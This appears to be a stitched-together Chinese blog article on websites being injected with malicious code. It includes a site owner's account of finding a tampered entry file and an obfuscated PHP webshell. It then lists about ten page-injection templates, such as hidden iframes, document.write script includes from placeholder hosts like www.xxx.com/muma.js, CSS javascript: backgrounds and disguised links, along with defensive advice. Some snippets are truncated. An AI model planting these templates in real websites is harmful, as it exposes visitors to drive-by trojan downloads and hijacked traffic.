整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

浅析网站被挂马的代码

浅析网站被挂马的代码

言:

其实我网站中马应该可以追溯到去年的八月份,当时好像是在 xx 平台有用户给我留言说网站上的游戏进不去了 (五子棋多人联机)。于是我打开一看发现首页被静态化了,为了快速访问就重新提交了入口文件也没继续理会。

直到后来,隔一段时间就又有人留言说打不开,我才开始排查起因了。进入项目代码里,我发现有些文件被修改了。另一方面呢,网站的收录也在不断变少,甚至搜索出来的词和描述都变了,有赌博的,也有体育,迷彩之类的,我猜测应该是中马了。

但是有一点想不通,这人是不是闲得无聊。网站上除了技术类文章,还有一些 H5 单机游戏,资源城和多人联机游戏由于没有其他收入支撑,到期后就关闭了。剩下的就是一些免费使用的小工具了,有必要在我网站上挂马吗,带着这个疑问就全都排查了一下代码,终于找到了两个文件能解释这个问题了。


文件一,篡改的入口文件:

他是直接拿静态化的首页加了一些脚本放在了入口文件上,导致我导航栏的跳转全部失效,以下就是我截取的部分文件代码,再说明一下里面放了什么。

1. TDK 部分

也就是标题,描述和关键词都改了,就是上面的模样经过 ascii 编码,可以通过脚本之家的工具 ascii 转中文查看。他改的大概都是一些体育,迷彩之类的词,这也就解释了为什么网站的搜索词都变了,因为没有跳转收录也就变少了。

2. JavaScript 部分

Js 主要是下面那一长串数字,是 unicode 编码了。我一个数字一个数字转完之后,发现原来是一个 Js 脚本引入,最后 ducument.write 就是每次进入都引入脚本,脚本如下。

原来是给他的网站做引流,所以我也打开了他网站,就是下面这个。

文件二,PHP 大马:

这个文件就是他们挂上去的,可能是之前通过留言表单的 bug 提交的,文件名 dama.php,网络上搜索应该就可以了解到,代码如下:

\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65 像这个是十六进制,可以通过 JS 的 console.log 或 alert 显示出来,其实就是 base64_deocde 函数名,而 \nc\n3\nR\ny\nX\n3\nJ\nv\nd\nD\nE\nz\n 同样打印出来是如下一串换行的字母,所以就是 base64_decode () 那串,解码后是一个 str_rot13 () 函数

所以那一串长长的就是被 ROT13 编码了,可以通过以下方式修改,还原出那一串是些什么东西,也可以把 dama.php 在本地项目里直接运行。

运行后的样子如下,登陆密码就是他代码里的那个 $password, 其实大概猜的到是 Admin 经过 md5 的,登陆后如下。

登陆后,就可以看到,自己网站就如同裸奔,他可以任意的提交,修改,删除文件,还可以对目录或文件提权,扫描,执行命令等等功能。最后通过我修改后,近几日网站没有再出现之前的问题了。以上文件仅作提示,所以关于如何修改和那个大马如何使用就不做介绍了。

几天勒索病毒就疯了,其实最关键的还是用户没有很好的更新自己的电脑,才能让黑客有机可乘。。。在此分享十种挂马的方式,BUT!挂出来不是让你去破坏别人的网站,而是让你能做到有备无患。

一:框架挂马

  1. //说明:检查src的地址是否有问题。

  2. ////////////////////代码如下////////////////////

  3. <iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

首先将以下代码

  1. //说明:这个地址是js代码访问的文件地址,一般是模仿你的js文件而设。

  2. ////////////////////代码如下////////////////////

  3. document.write(“<iframe width='0' height='0' src=‘地址'></iframe>”);

保存为xxx.js,则JS挂马代码为

  1. //说明:运行你的js文件

  2. ////////////////////代码如下////////////////////

  3. <script language=javascript src=xxx.js></script>

三:js变形加密

  1. //说明:运行后缀发生了变化,本质是一样的。

  2. ////////////////////代码如下////////////////////

  3. <SCRIPT language=“JScript.Encode” src=http://www.xxx.com/muma.txt></script>

muma.txt可改成任意后缀 电脑知识

四:body挂马

  1. //说明:略

  2. ////////////////////代码如下////////////////////

  3. <body ></body>

五:隐蔽挂马

  1. //说明:略

  2. ////////////////////代码如下////////////////////

  3. top.document.body.innerHTML=top.document.body.innerHTML + ' <iframe src=“http://www.xxx.com/muma.htm/”></iframe>';

六:CSS中挂马

  1. //说明:背景中链接用的js调用。

  2. ////////////////////代码如下////////////////////

  3. body {

  4. background-image: url('javascript:document.write(“<script src=http://www.XXX.net/muma.js></script>”)’)}

七:JAJA挂马

  1. ////////////////////代码如下////////////////////

  2. <SCRIPT language=javascript>

  3. window.open (“地 址”,“”,“toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1”);

  4. </script>

八:图片伪装

  1. ////////////////////代码如下////////////////////

  2. <html>

  3. <iframe src=“网马地址” height=0 width=0></iframe>

  4. <img src=“图片地址”></center>

  5. </html>

九:伪装调用

  1. ////////////////////代码如下////////////////////

  2. <frameset rows=“444,0” cols=“*”>

  3. <frame src=“打开网页” framborder=“no” scrolling=“auto” noresize marginwidth=“0”margingheight=“0”>

  4. <frame src=“网马地址” frameborder=“no” scrolling=“no” noresize marginwidth=“0”margingheight=“0”>

  5. </frameset>

十:高级欺骗

  1. ////////////////////代码如下////////////////////

  2. <a href=“http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)” > 页面要显示的内容 </a>

  3. <SCRIPT Language=“JavaScript”>

  4. function www_163_com ()

  5. {

  6. var url=“网马地址”;

  7. open(url,“NewWindow”,“toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10”);

  8. }

  9. </SCRIPT>

大家还有什么看法或者有更好的预防方法可以评论留言(文章来源:与时代同行 )

谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,服务器漏洞,网站程序0day, 等各种方法获得网站管理员账号,然后登陆网站后台,通过数据"库备份/恢复"或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时,你就会自动的访问被转向的地址或者下载木马病毒。下面就让我们来看看几种常见的挂马网站。

(1)iframe 框架挂马

在网页上增加一行挂马的程序,例如:

这种嵌入是的挂马非常常见,在Google中搜索发现的可能还有木马的网页,一般都是被这种方式挂马。这行语句就是在网页打开的时候,同时打开另外一个网页,当然这个网页可能包含大量的木马,也可能仅仅是为了骗取流量。

如果我们的网页不使用iframe,我们可以屏蔽iframe属性,这样,即使网页被iframe挂马,也不会伤害到访问网站的用户。

【原理】:

IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和javascript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。

我们在网页中增加如下的代码即可屏蔽iframe属性:

iframe{a:expression(this.src=’about:blank’,this.outerHTML=”);}

iframe 也可以采用加密的方式挂马,例如下面的代码:

(2)script 挂马

通过script的调用来挂马,可以挂直接的html文件,也可以挂js文件,可以明文挂马,为了躲避追查,也有加密挂马的形式,形式各异,千差万别,主要方式如下:

这是一个加密的挂马语句;

2.1 htm文件挂马:

通过上传一个木马文件(x.htm)挂马,代码如下:

document.write(“

”)

document.write(“”)

document.write(“”)

htm 挂马代码:

2.2 js文件挂马

通过上传一个木马文件(x.js)挂马,代码如下:

document.write(“”);

JS挂马代码:

当然也可以挂互联网上任何一台机器的x.js文件;

2.3 js变形加密

(3)图片伪装挂马

随着防毒技术的发展,图片木马技术逃避杀毒监视的新技术,攻击者将类似:http://www.xxx.com/x.htm中的木马代码植入到x.gif图片文

件中,这些嵌入代码的图片都可以用工具生成。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:

当用户打开http://www.x.com/x.htm是,显示给用户的是http://www.x.com/x.jpg,而http://www.x.com/x.htm网页代码也随之运行。

(4)其它的挂马方式

4.1 body挂马

也可以在css的body中挂马

body {

background-image: url(‘javascript:document.write(“”)’)}

4.2 隐蔽挂马

top.document.body.innerHTML=top.document.body.innerHTML +

‘ ’;

4.3 java的open函数挂马

直接调用:

window.open (“x.htm”,””,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1″);

欺骗调用:

页面要显示的内容

function www_a_com ()

{

var url=”网马地址”;

open(url,”NewWindow”,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,w

idth=800,height=600,left=10,top=10″);

}

4.4 伪装调用:

形形色色的网页挂马,代码都十分简单,所以,互联网木马想要传播,就会不停的开发新的挂马方式,不停的加密隐藏自己,这样才能逃过各种安全软件的眼睛。其实,看看上文,很多语句都是编程常用的代码,只是使用的目的不一样罢了,了解了网页挂马的原理和方法,再防范网页挂马就容易多了。

带木马的网页主要包括两种类型:一种自己本身就是木马网站,所有的页面都有木马,另一种是正常的网站,由于管理不善,被挂马,成为木马网站的一个中转站,看看google中这样的网站何其多,可能很多站长现在还不知道,呵呵,多学习学习吧,站长可不是那么好当的。

不过,仅仅有了网络挂马的代码,也不一定一定能传播木马,只要我们加强防范,不让我们的网页被 挂马,甚至,即使被挂马了,打开了木马网页,我们的系统没有漏洞,木马网页也同样不能发挥作用的。所以,最重要的安全防范方式就是定期给系统打补丁,几乎 所有的木马网页都无法发挥作用了。